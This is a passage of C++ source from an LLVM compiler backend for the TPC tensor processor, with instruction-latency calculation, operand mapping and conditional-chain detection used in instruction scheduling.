(TPCII::isStoreInst(MC) && TPCII::getSlotOpCode(MC) == TPCII::stSET_INDX))\n return TPCLatencyEvaluation::OperandID::e_dst;\n\n // In Load slot (PRMT_INDX and MOV) and in Store slot (PRMT_INDX) tied\n // operand corresponds to SRC_A.\n if (TPCII::isLoadInst(MC) || TPCII::isStoreInst(MC))\n return TPCLatencyEvaluation::OperandID::e_src_a;\n\n // In SPU slot unary operations (NOT, ABS and MOV) also has tied operand\n // in SRC_A.\n if (TPCII::isSPUInst(MC))\n switch (TPCII::getSlotOpCode(MC)) {\n default:\n break;\n case TPCII::spuMOV:\n case TPCII::spuABS:\n case TPCII::spuNOT:\n return TPCLatencyEvaluation::OperandID::e_src_a;\n }\n\n return TPCLatencyEvaluation::OperandID::e_src_b;\n }\n\n return TPCLatencyEvaluation::OperandID::e_dst;\n }\n\n // Skip tied operands to simplify calculation of mapping arguments to operand\n // ids. Idealy we would have mapping arguments (1, 2, 3, 4) to\n // (SRC_A, SRC_B, SRC_C, SRC_D), but actually there are some complications to\n // this scheme.\n for (unsigned i = MC.getNumDefs(), e = UseIdx; i < e; i++) {\n const MachineOperand & Op = MI.getOperand(i);\n if (Op.isReg() && Op.isTied())\n --UseIdx;\n }\n\n // Change UseIdx so that it counts only input operands (0 - the first input, etc).\n assert(UseIdx >= MC.getNumDefs());\n UseIdx -= MC.getNumDefs();\n\n switch (UseIdx) {\n case 0:\n // In all cases the first input is in SRC_A.\n return TPCLatencyEvaluation::OperandID::e_src_a;\n\n case 1:\n // Usually the second input is in SRC_B, but in some cases it is not so.\n if (TPCII::isStoreInst(MC)) {\n switch (TPCII::getSlotOpCode(MC)) {\n case TPCII::ST_L:\n // ST_L uses SRC_B to store MMIO switch.\n case TPCII::ST_G:\n // ST_G does not use SRC_B.\n return TPCLatencyEvaluation::OperandID::e_src_c;\n default:\n switch (MC.getOpcode()) {\n case TPC::SET_INDX_st_ip:\n case TPC::SET_INDX_st_rp:\n // SET_INDX in store slot keeps DIM_MASK in SRC_B.\n return TPCLatencyEvaluation::OperandID::e_src_c;\n }\n if (MC.getOpcode() == TPC::GEN_ADDR_st) {\n return TPCLatencyEvaluation::OperandID::e_src_a;\n }\n // Check for Gaudi's ST_TNSR, where the second operand is hidden\n if (Subtarget.hasGaudiISA()) {\n if (TPCII::getSlotOpCode(MC) == 11 ||\n TPCII::getSlotOpCode(MC) == 12 ||\n TPCII::getSlotOpCode(MC) == 13) {\n return TPCLatencyEvaluation::OperandID::e_src_c;\n }\n if (TPCII::getSlotOpCode(MC) == TPCII::ST_L_V) {\n return TPCLatencyEvaluation::OperandID::e_src_c;\n }\n }\n break;\n }\n\n // For all other instruction in Store slot the second operand is\n // encoded into SRC_B.\n return TPCLatencyEvaluation::OperandID::e_src_b;\n }\n\n if (MC.getOpcode() == TPC::SET_INDX_ld_rp ||\n MC.getOpcode() == TPC::SET_INDX_ld_ip ||\n MC.getOpcode() == TPC::SET_INDX_spu_rp ||\n MC.getOpcode() == TPC::SET_INDX_spu_ip ||\n MC.getOpcode() == TPC::GEN_ADDR_ld) {\n return TPCLatencyEvaluation::OperandID::e_src_a;\n }\n return TPCLatencyEvaluation::OperandID::e_src_b;\n\n case 2:\n if (MC.getOpcode() == TPC::SET_INDX_st_rp ||\n MC.getOpcode() == TPC::SET_INDX_st_ip)\n return TPCLatencyEvaluation::OperandID::e_src_a;\n return TPCLatencyEvaluation::OperandID::e_src_c;\n case 3:\n return TPCLatencyEvaluation::OperandID::e_src_d;\n\n default:\n llvm_unreachable(\"Unexpected operand index\");\n }\n}\n\n/// Checks if the two given instruction make up a conditional chain.\n///\n/// Conditional chains are composed by two instructions with the same predicate\n/// and destination but opposite polarity, like:\n///\n/// d = INSTR a, i, pred, 0\n/// d = INSTR a, d, pred, 1\n///\n/// In such chains the latency between the two instructions is zero.\n///\nbool TPCInstrInfo::isConditionalChain(const MachineInstr &DefMI,\n const MachineInstr &UseMI) const {\n const MachineFunction &MF = *DefMI.getParent()->getParent();\n const MachineRegisterInfo &MRI = MF.getRegInfo();\n\n if (UseMI.getNumDefs() != 1)\n return false;\n if (UseMI.getNumOperands() < 4) // dest, income, pred, polarity\n return false;\n if (DefMI.getNumDefs() != 1 || DefMI.getNumOperands() < 4)\n return false;\n\n // Polarity\n\n const MachineOperand &UsePolarityOp = UseMI.getOperand(UseMI.getNumOperands() - 1);\n if (!UsePolarityOp.isImm())\n return false;\n bool UsePolarity = UsePolarityOp.getImm();\n\n const MachineOperand &DefPolarityOp = DefMI.getOperand(DefMI.getNumOperands() - 1);\n if (!DefPolarityOp.isImm())\n return false;\n bool DefPolarity = DefPolarityOp.getImm();\n\n // Polarities must be opposite.\n if (UsePolarity == DefPolarity)\n return false;\n\n // Predicate\n\n const MachineOperand &DefPredicateOp = DefMI.getOperand(DefMI.getNumOperands() - 2);\n if (!DefPredicateOp.isReg())\n return false;\n unsigned DefPredicate = DefPredicateOp.getReg();\n if (DefPredicateOp.isKill())\n return false;\n\n const MachineOperand &UsePredicateOp = UseMI.getOperand(UseMI.getNumOperands() - 2);\n if (!UsePredicateOp.isReg())\n return false;\n unsigned UsePredicate = UsePredicateOp.getReg();\n\n // Predicate must be the same.\n if (DefPredicate != UsePredicate)\n return false;\n bool UseFound = false;\n bool DefFound = false;\n for (const MachineOperand &U : MRI.use_operands(DefPredicate)) {\n if (DefFound) {\n if (U.getParent() == &UseMI) {\n UseFound = true;\n break;\n }\n if (U.isKill())\n break;\n } else {\n if (U.getParent() == &DefMI)\n DefFound = true;\n }\n }\n if (!UseFound)\n return false;\n\n // Income\n\n const MachineOperand &IncomeOp = UseMI.getOperand(UseMI.getNumOperands() - 3);\n if (!IncomeOp.isReg())\n return false;\n unsigned IncomeReg = IncomeOp.getReg();\n\n if (DefMI.getOperand(0).getReg() != IncomeReg)\n return false;\n\n LLVM_DEBUG(dbgs() << \"Conditional chain recognized:\"\n << \" \"; DefMI.dump();\n dbgs() << \" \"; UseMI.dump(););\n return true;\n}\n\nint TPCInstrInfo::getOperandLatency(const InstrItineraryData *ItinData,\n const MachineInstr &DefMI, unsigned DefIdx,\n const MachineInstr &UseMI, unsigned UseIdx) const {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency between op\" << DefIdx << \" and op\" << UseIdx << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \" \" << DefMI);\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \" \" << UseMI);\n\n // Skip debug instructions.\n if (UseMI.isDebugValue()) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (use in debug value) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n const llvm::MachineFunction &MF = *DefMI.getParent()->getParent();\n const MachineRegisterInfo &MRI = MF.getRegInfo();\n \n const MCInstrDesc &DefMCID = DefMI.getDesc();\n const MachineOperand &DefOperand = DefMI.getOperand(DefIdx);\n assert(DefOperand.isDef());\n\n const MCInstrDesc &UseMCID = UseMI.getDesc();\n const MachineOperand &UseOperand = UseMI.getOperand(UseIdx);\n // Cannot require that UseOperand is not a definition. For implicit uses of\n // long registers we can have more fancy case (def = 2, use 0):\n //\n // %V0<def> = MOVi32vi 0, %A0<imp-def>\n // %V1<def> = MOVf32vv %V0<kill>, %A0<imp-use, kill>, %A0<imp-def>\n //\n // Probably this is a bug of NoopInserter <- TODO: check it\n assert(!UseOperand.isDef() || UseOperand.isTied() || UseIdx < UseMCID.getNumDefs());\n // assert(!UseOperand.isDef());\n assert(UseOperand.isReg());\n\n // Determine register classes of the producer and consumer.\n\n Register DefReg = DefOperand.getReg();\n const TargetRegisterClass *DefRegClass;\n if (DefReg.isPhysical()) {\n DefRegClass = getRegClass(DefMCID, DefIdx, &RI, MF);\n if (!DefRegClass)\n DefRegClass = getClassOfPhysicalRegister(DefReg, RI);\n } else {\n DefRegClass = MRI.getRegClass(DefReg);\n }\n assert(DefRegClass);\n\n Register UseReg = UseOperand.getReg();\n const TargetRegisterClass *UseRegClass;\n if (UseReg.isPhysical()) {\n UseRegClass = getRegClass(UseMCID, UseIdx, &RI, MF);\n if (!UseRegClass)\n UseRegClass = getClassOfPhysicalRegister(UseReg, RI);\n } else {\n UseRegClass = MRI.getRegClass(UseReg);\n }\n assert(UseRegClass);\n\n // Skip pseudo instructions.\n if (DefMI.getOpcode() == TPC::KILL) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (use in KILL) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n if (DefRegClass->hasSuperClassEq(&TPC::HSRFRegClass)) {\n // LLVM-1281 Optimize ST_TNSR_ID_REG latency\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency HWReg = \" << 4 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 4;\n }\n\n if (DefMI.getOpcode() == TPC::COPY && !UseMI.isPseudo()) {\n unsigned CopySrcSubReg = DefMI.getOperand(1).getSubReg();\n\n // Cost of IRF copy is 1.\n if (DefRegClass == &TPC::IRFRegClass) {\n assert(UseRegClass == &TPC::IRFRegClass);\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency COPY to consumer (IRF) = \" << 1 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 1;\n }\n\n // Cost of copy from wide registed to short is estimated as 1 (subregister is directly used).\n if (CopySrcSubReg && UseOperand.getSubReg() == 0) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency COPY to consumer (short reg) = \" << 1 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 1;\n }\n\n // Cost of copy between different subregisters is 4.\n if (CopySrcSubReg && CopySrcSubReg != UseOperand.getSubReg()) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency COPY to consumer (subreg) = \" << 4 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 4;\n }\n\n // If the definition is a COPY and the use is not another copy, then compute\n // latency value as for copy instruction.\n //\n // TODO: is there more correct way to determine latency in this case?\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency COPY to consumer = \" << 1 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 1;\n }\n\n if (DefMI.isPseudo() || UseMI.isPseudo()) {\n // TODO: Must be 0 but for now return copy cost for safety.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (use in pseudo) = \" << 1 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 1;\n }\n\n // Identify implicit defs and uses.\n\n bool ImplicitDef = DefOperand.isImplicit();\n bool ImplicitUse = UseOperand.isImplicit();\n if (ImplicitDef) {\n // Do not expect implici definitions of short registers for now.\n //assert(isLongRegister(DefRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : implicit def\\n\");\n }\n if (ImplicitUse) {\n // Do not expect implici use of short registers for now.\n //assert(isLongRegister(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : implicit use\\n\");\n }\n // Allow implicit use/def only as extra arguments, until we find a proper case.\n assert(ImplicitDef || DefIdx < DefMCID.getNumOperands());\n assert(ImplicitUse || UseIdx < UseMCID.getNumOperands());\n\n if (ImplicitDef && ImplicitUse) {\n if (DefReg == TPC::LFSR && Subtarget.hasGoyaISA()) {\n // SW-2006 Consecutive LFSR accesses should be at least 4 cycles apart - marked gen1-specific.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (reads from LFSR) = \" << 4 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 4;\n }\n\n // If both def and use are implicit, then both def and use are subregisters\n // of a long register. The latency between these operands depends on whether\n // they refer to the same register. It will be calculated when explicit\n // use/def are evaluated, so skip the calculation for the implicit pair.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency between implicit def and use = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n // Instructions LD_TNSR and ST_TNSR may have register operands that are not\n // encoded in the instruction. These are S27/S28 for tensor number, S30/S31\n // for size+offset and S29 for RMW. For all of them latency is 7.\n //\n // LD_TNSR V1, S27, I2, SP3 LD_TNSRTvp V1, I2, S27, 0, V1, SP3, 0\n // LD_TNSR.PARTIAL V1, 0, I1, S30, VP4 LD_TNSR_Pvm V1, I2, 0, S30, 0, V1, VP4, 0\n // LD_TNSR.PARTIAL V1, S27, I2, S30, SP4 LD_TNSR_PTvp V1, I2, S27, S30, 0, V1, SP4, 0\n //\n // ST_TNSR.PARTIAL 0, I1, V1, S31 ST_TNSR_Pvp I2, 0, V1, S31, SP0\n // ST_TNSR.RMW_SEL S28, I1, V2, S29 ST_TNSR_RTvp I1, S28, V2, S29, SP0\n // ST_TNSR.PARTIAL.RMW_SEL S28, I2, V3, S29, S31, SP6 ST_TNSR_PRTvp I2, S28, V3, S29, S31, SP6\n //\n if (TPCII::isLoadInst(UseMCID))\n switch (TPCII::getSlotOpCode(UseMCID)) {\n case TPCII::LD_TNSR:\n case TPCII::LD_TNSR_LOW:\n case TPCII::LD_TNSR_HIGH:\n if (UseIdx == 2) {\n assert(TPC::TnsrRegLdRegClass.hasSubClassEq(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S27 -> LD_TNSR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n if (UseIdx == 3) {\n assert(TPC::OffsSizeRegLdRegClass.hasSubClassEq(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S30 -> LD_TNSR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n break;\n case TPCII::ldGEN_ADDR:\n if (UseIdx == 1) {\n assert(TPC::TnsrRegLdRegClass.hasSubClassEq(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S27 -> GEN_ADDR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n break;\n default:\n break;\n }\n if (TPCII::isStoreInst(UseMCID))\n switch (TPCII::getSlotOpCode(UseMCID)) {\n case TPCII::ST_TNSR:\n case TPCII::ST_TNSR_LOW:\n case TPCII::ST_TNSR_HIGH:\n if (UseIdx == 1) {\n assert(TPC::TnsrRegStRegClass.hasSubClassEq(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S28 -> ST_TNSR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n if (UseIdx == 3) {\n assert(TPC::RMWRegRegClass.hasSubClassEq(UseRegClass) ||\n TPC::OffsSizeRegStRegClass.hasSubClassEq(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S29/S31 -> ST_TNSR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n if (UseIdx == 4 && TPC::OffsSizeRegStRegClass.hasSubClassEq(UseRegClass)) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S31 -> ST_TNSR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n break;\n case TPCII::stGEN_ADDR:\n if (UseIdx == 1) {\n assert(TPC::TnsrRegStRegClass.hasSubClassEq(UseRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (S28/HW -> GEN_ADDR) \" << 7 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 7;\n }\n break;\n default:\n break;\n }\n\n if (ImplicitUse) {\n if (!isLongRegister(UseRegClass))\n return 4;\n\n // Find the operand that is a subregister of the implicitly used\n // long register.\n unsigned ShortRegIdx = ~0U;\n unsigned ShortReg = ~0U;\n for (unsigned I = UseMCID.getNumDefs(), E = UseMCID.getNumOperands(); I < E; ++I) {\n const MachineOperand &Operand = UseMI.getOperand(I);\n if (Operand.isReg()) {\n unsigned Reg = Operand.getReg();\n if (getRegisterInfo().isSubRegister(UseReg, Reg)) {\n ShortRegIdx = I;\n ShortReg = Reg;\n break;\n }\n }\n }\n if (ShortRegIdx >= UseMI.getNumOperands()) {\n // Example (sef = 0, use = 2):\n //\n // %V10<def> = MOVf32vv %V0, %A8<imp-use,kill>, %A8<imp-def>\n // %V11<def> = MOVf32vv %V0, %A8<imp-use>, %A8<imp-def>\n //\n // In this case no dependency exists.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency between def and implicit use = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n if (isLongRegister(DefRegClass)) {\n // We can see false dependencies between long registers, like in the\n // example (def = 0, use = 8):\n //\n // %D0<def,tied2> = LOOKUP_C1C2i8vvep %V12<kill>, %D0<kill,tied0>, 7, 40, %SP0, 0\n // %V23<def, tied3> = CONVERT_INT32i32i8vvsem %V3, %S1, %V23<tied0>, 0, 3, %VP4, 0, %A0<imp - use>\n //\n if (isLongRegister(UseRegClass)) {\n // Return 0 in this case. If there are real dependency, it will be detected\n // when explicit operands are used.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : between long definition and implicit long use \" << 0 << \"\\n\");\n return 0;\n }\n\n // Example (def = 0, use = 3):\n //\n // %D0<def,tied2> = LOOKUP_C1C2i8vve %V2<kill>, %D0<kill,tied0>, 1, 1\n // ST_L_Vi8si %S1, 256, %V1, %D0<imp - use>; mem:ST256[%arrayidx(addrspace = 2)](tbaa = !3)\n //\n // In this case the latency between operand is calculated as for short\n // registers.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : replaced use op to \" << ShortRegIdx << \"\\n\");\n assert(ShortRegIdx < UseIdx);\n return getOperandLatency(ItinData, DefMI, DefIdx, UseMI, ShortRegIdx);\n }\n\n // The definition defines a register, which is a part of a long register,\n // which is implicitly used. For example (def = 0, use = 2):\n //\n // %V2<def> = MOVf32vv %V0, %A0<imp-use,kill>, %A0<imp-def>\n // %V3<def> = MOVf32vv %V0, %A0<imp-use>, %A0<imp-def>\n //\n if (DefReg == ShortReg) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : replaced use op to \" << ShortRegIdx << \"\\n\");\n assert(ShortRegIdx < UseIdx);\n return getOperandLatency(ItinData, DefMI, DefIdx, UseMI, ShortRegIdx);\n }\n\n // Try to find another explicit register operand that represents a\n // subregister of the implicit use.\n for (unsigned I = ShortRegIdx + 1, E = UseMCID.getNumOperands(); I < E; ++I) {\n const MachineOperand &Operand = UseMI.getOperand(I);\n if (Operand.isReg()) {\n unsigned Reg = Operand.getReg();\n if (getRegisterInfo().isSubRegister(DefReg, Reg)) {\n if (Reg == DefReg) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : replaced use op to \" << I << \"\\n\");\n assert(I < UseIdx);\n return getOperandLatency(ItinData, DefMI, DefIdx, UseMI, I);\n }\n }\n }\n }\n\n // It looks like no dependency exists (see example above).\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency between def and implicit use = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n if (ImplicitDef && isLongRegister(DefRegClass)) {\n\n // Find explicit operand that is a subregister of the implicitly defined\n // long register.\n unsigned ShortRegOp = ~0U;\n unsigned ShortReg = ~0U;\n for (unsigned I = 0, E = DefMCID.getNumDefs(); I < E; ++I) {\n const MachineOperand &Operand = DefMI.getOperand(I);\n if (Operand.isReg()) {\n unsigned Reg = Operand.getReg();\n if (getRegisterInfo().isSubRegister(DefReg, Reg)) {\n ShortRegOp = I;\n ShortReg = Reg;\n break;\n }\n }\n }\n\n // If producer writes to %V0 and consumer uses %D0, then the latency is the\n // same as if producer and consumer both used %V0 register.\n // Example (def = 3, use = 2):\n //\n // %V1<def> = MOVf32vv %V0, %D0<imp-use,kill>, %D0<imp-def>\n // %D0<def, tied2> = LOOKUP_C1C2i8vve %V2, %D0<tied0>, 1, 1\n //\n if (isLongRegister(UseRegClass) && getRegisterInfo().isSubRegister(ShortReg, DefReg)) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : replaced def op to \" << ShortRegOp << \"\\n\");\n assert(ShortRegOp < DefIdx);\n return getOperandLatency(ItinData, DefMI, ShortRegOp, UseMI, UseIdx);\n }\n\n // Another case is when producer and consumer operate different subregisters\n // of the same long register, for example (def = 3, use = 2):\n //\n // %V3<def> = MOVf32vv %V0, %A0<imp-use,kill>, %A0<imp-def>\n // ST_L_Vi32si %S31, 0, %V0\n //\n if (UseReg == ShortReg) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : replaced def op to \" << ShortRegOp << \"\\n\");\n assert(ShortRegOp < DefIdx);\n return getOperandLatency(ItinData, DefMI, ShortRegOp, UseMI, UseIdx);\n }\n\n // Try to find another explicit register operand that represents a\n // subregister of the implicit def.\n for (unsigned I = ShortRegOp + 1, E = UseMCID.getNumDefs(); I < E; ++I) {\n const MachineOperand &Operand = UseMI.getOperand(I);\n if (Operand.isReg()) {\n unsigned Reg = Operand.getReg();\n if (getRegisterInfo().isSubRegister(UseReg, Reg)) {\n if (Reg == UseReg)\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency : replaced use op to \" << I << \"\\n\");\n assert(I < UseIdx);\n return getOperandLatency(ItinData, DefMI, DefIdx, UseMI, I);\n }\n }\n }\n\n assert(DefIdx >= DefMCID.getNumOperands());\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency from implicit def = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n if (UseReg != DefReg) {\n // The registers used by definition and use may differ if one register\n // is a subregister of the other.\n if (!getRegisterInfo().isSubRegister(DefReg, UseReg) &&\n !getRegisterInfo().isSubRegister(UseReg, DefReg)) {\n // We can have such case if both register definition and its use are DRFs,\n // which both are different parts of some ARF.\n assert(DefRegClass->hasSuperClassEq(&TPC::DRFRegClass) &&\n UseRegClass->hasSuperClassEq(&TPC::DRFRegClass));\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency different DRF parts of an ARF = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n\n // This is the guideline from Ron - for producers (dst), isVPUDest always false\n bool isDefVectorPipe = false;\n bool isAddSubFP16 = false;\n bool is2srfDst = false;\n bool isDefLFSRImplicitDst = false;\n bool isDefIRFDest = (DefRegClass == &TPC::IRFRegClass);\n bool IsDefFloat = !TPCII::isLoopInst(DefMCID) &&\n !TPCII::isStoreInst(DefMCID) &&\n isFloatData(getOpType(DefMI));\n if (IsDefFloat) {\n if (TPCII::isLoadInst(DefMCID) && !TPCII::isLookup(DefMCID)) {\n IsDefFloat = false;\n }\n }\n if (TPCII::isLookup(DefMCID)) {\n IsDefFloat = true;\n }\n\n if (TPCII::getSlotOpCode(DefMCID) == TPCII::spuLOOP && TPCII::isLoopInst(DefMCID)) {\n assert(ImplicitDef);// LOOP defines iterators.\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency = \" << 1 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 1;\n }\n\n bool isUseLFSRImplicitDst = false;\n\n const TargetRegisterClass *UseDestRegClass;\n bool isUseIRFDest = false;\n bool isUseVectorPipe = false;\n const MachineOperand &UseDest = UseMI.getOperand(0);\n if (UseDest.isReg() && UseDest.isDef()) {\n if (UseDest.getReg().isPhysical()) {\n UseDestRegClass = getRegClass(UseMCID, 0, &RI, MF);\n } else {\n UseDestRegClass = MRI.getRegClass(UseDest.getReg());\n }\n isUseIRFDest = (UseDestRegClass == &TPC::IRFRegClass);\n isUseVectorPipe = (UseDestRegClass == &TPC::VRFRegClass) ||\n (UseDestRegClass == &TPC::VPRFRegClass) ||\n (UseDestRegClass == &TPC::ARFRegClass) ||\n (UseDestRegClass == &TPC::DRFRegClass);\n }\n\n // Workaround for MOV to LFSR, which is represented by special instruction.\n // TODO: can the code above do it?\n if (UseMI.getOpcode() == TPC::WriteLFSR) {\n isUseVectorPipe = true;\n }\n\n // Latency between instructions in conditional chain is 0.\n if (isConditionalChain(DefMI, UseMI)) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n // SET_INDX (with immediate operand) has operand 1, which is not actually an\n // operand. It is tied to the instruction result and defines the lanes in the\n // result, that are not touched by this instruction.\n if (isSET_INDX(UseMI.getOpcode()) && UseIdx == 1) {\n assert(UseMI.getOperand(1).isReg());\n assert(DefMI.getOperand(0).getReg() == UseMI.getOperand(1).getReg());\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (IRF) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n\n#if 1\n // Process instruction which write into different lanes of the same register\n // ** PACK **\n if (TPCII::getSlotOpCode(DefMCID) == 45 /*PACK*/ && TPCII::isVPUInst(DefMCID) &&\n TPCII::getSlotOpCode(UseMCID) == 45 /*PACK*/ && TPCII::isVPUInst(UseMCID) &&\n UseIdx == 2 && DefIdx == 0 && UseMI.getOperand(UseIdx).isTied())\n {\n int DefMsk = 0;\n int UseMsk = 0;\n if (DefMI.getOperand(2).isImm()) {\n DefMsk = DefMI.getOperand(2).getImm();\n }\n else if (DefMI.getOperand(3).isImm()) {\n DefMsk = DefMI.getOperand(3).getImm();\n }\n if (UseMI.getOperand(2).isImm()) {\n UseMsk = UseMI.getOperand(2).getImm();\n }\n else if (UseMI.getOperand(3).isImm()) {\n UseMsk = UseMI.getOperand(3).getImm();\n }\n if (DefMsk && UseMsk && (0 == (DefMsk & UseMsk))) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different lanes) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n\n // ** MOV_DUAL_GROUP **\n unsigned DefDstG = 0;\n unsigned UseDstG = 0;\n unsigned DefSrcG = 0;\n unsigned UseSrcG = 0;\n if (isMovDualGroup(DefMI, &DefSrcG, &DefDstG) && isMovDualGroup(UseMI, &UseSrcG, &UseDstG)) {\n if ((DefDstG != UseDstG) && UseMI.getOperand(UseIdx).isTied()) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different dst lanes) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n if ((DefIdx == 0) && (UseIdx == 1) && (DefDstG != UseSrcG)) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different src & dst lanes) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n\n // ** LOOKUP **\n if (TPCII::isLookupC(DefMCID) && TPCII::getSlotOpCode(DefMCID) == TPCII::LOOKUP_C1C2 &&\n TPCII::isLookupC(UseMCID) && TPCII::getSlotOpCode(UseMCID) == TPCII::LOOKUP_C1C2 &&\n ((DefIdx == 0 && ((UseIdx == 3 && UseMI.getOperand(UseIdx).isTied()) || (UseIdx == 0))) ||\n (DefIdx == 1 && ((UseIdx == 4 && UseMI.getOperand(UseIdx).isTied()) || (UseIdx == 1)))))\n {\n int DefMsk = 0;\n int UseMsk = 0;\n if (DefMI.getOperand(5).isImm()) {\n DefMsk = DefMI.getOperand(5).getImm();\n }\n if (UseMI.getOperand(5).isImm()) {\n UseMsk = UseMI.getOperand(5).getImm();\n }\n// if (DefMsk && UseMsk && (0 == (DefMsk & UseMsk))) {\n if (DefMsk && UseMsk && (DefMsk != UseMsk)) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different lanes) \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n\n // ** LOOKUP DRF/ARF **\n if (TPCII::isLookupC(DefMCID) && TPCII::getSlotOpCode(DefMCID) == TPCII::LOOKUP_C1C2 &&\n TPCII::isLookupC(UseMCID) && TPCII::getSlotOpCode(UseMCID) == TPCII::LOOKUP_C1C2 &&\n (DefIdx == 0 && (UseIdx == 2 && UseMI.getOperand(UseIdx).isTied())))\n {\n int DefMsk = 0;\n int UseMsk = 0;\n if (DefMI.getOperand(3).isImm()) {\n DefMsk = DefMI.getOperand(3).getImm();\n }\n if (UseMI.getOperand(3).isImm()) {\n UseMsk = UseMI.getOperand(3).getImm();\n }\n if (DefMsk && UseMsk && ((DefMsk != UseMsk))) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different lanes) \" << 0 << 